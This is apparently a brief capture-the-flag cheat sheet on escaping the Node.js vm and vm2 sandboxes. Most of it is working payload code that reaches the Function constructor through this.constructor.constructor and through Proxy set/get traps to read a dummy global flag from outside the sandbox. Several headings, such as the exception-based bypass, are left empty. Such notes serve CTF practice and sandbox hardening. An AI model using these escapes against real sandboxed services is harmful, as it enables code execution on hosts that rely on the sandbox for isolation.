πEscaping nodejs vm
trick to escaping vm / vm2 in nodejs
Access global variable
// A global variable the sandbox isn't supposed to see:
flag = "N2L{this_the_global_flag}"; Using constructor
const code2 = `(this.constructor.constructor("return flag"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> N2L{this_the_global_flag}Using new Proxy
new Proxy({}, {
set: function(me, key, value) { (value.constructor.constructor('console.log(flag)'))() }
})new Proxy({}, {
get: function(me, key) { (arguments.callee.caller.constructor('console.log(flag)'))() }
})Using throw an exception
Bypassing force return & proccess null
Refference
Last updated